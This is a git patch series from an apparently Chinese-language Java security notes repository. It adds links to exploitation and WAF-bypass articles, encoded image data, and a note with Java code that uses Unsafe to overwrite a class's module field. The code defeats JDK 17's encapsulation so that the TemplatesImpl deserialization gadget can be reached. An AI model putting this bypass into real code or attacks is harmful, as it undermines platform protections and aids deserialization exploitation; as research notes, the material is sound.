zjKMY~C=@yip>^QrHp+l!Px#;b>2-G@D9-)DRa=s`ULm_+e`yN^HdBp_xkYQ`%v-fEuSPRk)p9#8+3+z^%v6VEs9nR3s8kL^=C1 zKW&S-UCjbNHNIgPmk;UYUaRhLJ5i(uXR|l6RCl9a^fNJiHk<&dlUezenoLVmIo!D*WoIp;WzBJQp0W(uyhDyx=$e zV7~^`;h#dfhNdJD;<+YB#%z<-tZJ|j0D-&qDEvN;bW?IY2zZ63j%9Y zrB2thM#=e62Rc;@sO1veQ2JSXmcgf{2`$g^0*W|PJcn!3So~H7-u>r9K$`FSFHVJ2 z-3r(YeMxMw3_O&;2n1o%{YsUnT)eILC6fKdz!6sFq?JV=io&YxD&D&FuY5#j0@xOU zLc_u4yCqGd6H933w5JTBv_cZ;TaiRJ?*Jsv)O&E3v7!+BGW zl|SC>OG&$r%%~Xi+D~SP0lHI|Ptn7;@$l0YO8lUo!P>)`AJ0-=TlA;=T1MfP$$VON zT3Q^UE|Fh!E@!k?XZ75f?C&}~v8wO?VP0;O$i>!Ul4|UMbmB>_nX=m!0VKQO$Vdm} za#q2rhk_Ayu^B!s3$&)?7I8HcQ`$(oY(6+UG#+E*g^Sx~|DBoodTAZ+zJMDD5ocFP ze{$$6xX=Rx%WD_8Mt@UPN;>U~l(TJ&tN^P6WBhnDK75Kkbu~iP7-P^q<#c z^H(pL7hYtDYS3u37p~4guvMw4tF*>lEKjRgEJA?W+~%t%={pwfBiqy6xBvtWjbnk2 z+=C~IG-g|VE0J^GOS`-(gJ^KXB^TGQ+~0pPJAY4oJDZiy!B7e?6kYA`ZddcT&a~wZ z^Qj11v7X)6qTnD19TgSp5@AO)i%>T-Nm^c1w3T-`uKf=oisUY0PC9Meb_o3lx*2<= zr(i`MSPE0Z2?2DBt+u`+9Nh4DR5NeahP-dXNl=rs^&p;*BDr&ZmLey9_(;N&BVk=$ zb!>TU8Rp{Ln1muNfByDNa&q&2c2xn~Z-=lRnRx0`KTTX_LDB*hHXFTqN(#25+4D*- zoo$k%1HBuq+R{vd!`Ej1b9#!MRIESx|MS;{|IN9c|Jxrb{{Oiv&+0!WxRpo$`O&7> ff7xAsPtTop+;pU7VkQGWHialZRaYpLHw*k Date: Sat, 17 Dec 2022 17:57:05 +0800 Subject: [PATCH 141/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 2e0bfa2..bb3b049 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -215,3 +215,4 @@ + 2022/12/09 [老版本Fastjson 的一些不出网利用](https://www.yulegeyu.com/2022/11/12/Java%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2%E4%B9%8B%E8%80%81%E7%89%88%E6%9C%ACFastjson-%E7%9A%84%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/) ***yyds* + 2022/12/09 [浅谈XXE防御(Java)](https://mp.weixin.qq.com/s/BSq77W0u0-O2elKZTJQNOQ) + 2022/12/14 [js-on-security-off-abusing-json-based-sql-to-bypass-waf](https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf) ++ 2022/12/17 [java.exe和javaw.exe区别](https://blog.csdn.net/xtho62/article/details/114085591) 在bp启动的时候看到了 From 2c8c93cab4d975230e7fb9c1d809e23496c629cf Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 17 Dec 2022 23:59:21 +0800 Subject: [PATCH 142/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index bb3b049..4b3831d 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -216,3 +216,4 @@ + 2022/12/09 [浅谈XXE防御(Java)](https://mp.weixin.qq.com/s/BSq77W0u0-O2elKZTJQNOQ) + 2022/12/14 [js-on-security-off-abusing-json-based-sql-to-bypass-waf](https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf) + 2022/12/17 [java.exe和javaw.exe区别](https://blog.csdn.net/xtho62/article/details/114085591) 在bp启动的时候看到了 ++ 2022/12/17 [Weakness in Java TLS Host Verification](https://blog.h3xstream.com/2020/10/weakness-in-java-tls-host-verification.html) **字符编码绕过** From cf526c6b9e18f7f4b286ef8b676665667e455ac6 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 18 Dec 2022 13:04:39 +0800 Subject: [PATCH 143/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 4b3831d..f3aa154 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -217,3 +217,4 @@ + 2022/12/14 [js-on-security-off-abusing-json-based-sql-to-bypass-waf](https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf) + 2022/12/17 [java.exe和javaw.exe区别](https://blog.csdn.net/xtho62/article/details/114085591) 在bp启动的时候看到了 + 2022/12/17 [Weakness in Java TLS Host Verification](https://blog.h3xstream.com/2020/10/weakness-in-java-tls-host-verification.html) **字符编码绕过** ++ 2022/12/18 [Java使用 try catch会影响性能？](https://mp.weixin.qq.com/s/kkEGvMwaG6J1WrD_DWRRzg) **不会** From 667d8c3134bfbfec9e8b43ed0adc5921b1a34ec1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 21 Dec 2022 16:12:46 +0800 Subject: [PATCH 144/254] =?UTF-8?q?Create=20jdk17=E7=BB=95=E8=BF=87Module.?= =?UTF-8?q?md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../jdk17\347\273\225\350\277\207Module.md" | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 "java\346\227\245\345\270\270/jdk17\347\273\225\350\277\207Module.md" diff --git "a/java\346\227\245\345\270\270/jdk17\347\273\225\350\277\207Module.md" "b/java\346\227\245\345\270\270/jdk17\347\273\225\350\277\207Module.md" new file mode 100644 index 0000000..dbd2d4e --- /dev/null +++ "b/java\346\227\245\345\270\270/jdk17\347\273\225\350\277\207Module.md" @@ -0,0 +1,99 @@ +# jdk17 bypass module + +https://www.bennyhuo.com/2021/10/02/Java17-Updates-06-internals/ + +https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java + +在jdk17使用反序列化的时候发现要报错 + +``` +InvokerTransformer: The method 'newTransformer' on 'class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' cannot be accessed +``` + +![image-20221220230825845](img/image-20221220230825845.png) + +限制了 + +![image-20221220233047039](img/image-20221220233047039.png) + +限制了的类https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-strongly-encapsulated + +## 需要bypass + +``` +按照提案的说明，被严格限制的这些内部 API 包括： + +java.* 包下面的部分非 public 类、方法、属性，例如 Classloader 当中的 defineClass 等等。 +sun.* 下的所有类及其成员都是内部 API。 +绝大多数 com.sun.* 、 jdk.* 、org.* 包下面的类及其成员也是内部 API。 +``` + +**code** + +```java + +import sun.misc.Unsafe; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; + +/** + * https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-strongly-encapsulated + */ +public class BypassModule { + public static void main(String[] args) throws Exception { + final ArrayList classes = new ArrayList<>(); + classes.add(Class.forName("java.lang.reflect.Field")); + classes.add(Class.forName("java.lang.reflect.Method")); + Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); + classes.add(aClass); + new BypassModule().bypassModule(classes); + aClass.newInstance(); + } + + public void bypassModule(ArrayList classes){ + try { + Unsafe unsafe = getUnsafe(); + Class currentClass = this.getClass(); + try { + Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); + if (getModuleMethod != null) { + for (Class aClass : classes) { + Object targetModule = getModuleMethod.invoke(aClass, new Object[]{}); + unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); + } + } + }catch (Exception e) { + } + }catch (Exception e){ + e.printStackTrace(); + } + } + + private static Method getMethod(Class clazz,String methodName,Class[] params) { + Method method = null; + while (clazz!=null){ + try { + method = clazz.getDeclaredMethod(methodName,params); + break; + }catch (NoSuchMethodException e){ + clazz = clazz.getSuperclass(); + } + } + return method; + } + + private static Unsafe getUnsafe() { + Unsafe unsafe = null; + try { + Field field = Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + return unsafe; + } +} +``` + From 23663113e7379fcb4a82734418991f114bcccb73 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 21 Dec 2022 16:13:21 +0800 Subject: [PATCH 145/254] Add files via upload --- .../img/image-20221220230825845.png" | Bin 0 -> 88141 bytes .../img/image-20221220233047039.png" | Bin 0 -> 130319 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 "java\346\227\245\345\270\270/img/image-20221220230825845.png" create mode 100644 "java\346\227\245\345\270\270/img/image-20221220233047039.png" diff --git "a/java\346\227\245\345\270\270/img/image-20221220230825845.png" "b/java\346\227\245\345\270\270/img/image-20221220230825845.png" new file mode 100644 index 0000000000000000000000000000000000000000..3d05b8e54a8c9df34ea91fd3311d710efb20620b GIT binary patch literal 88141 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 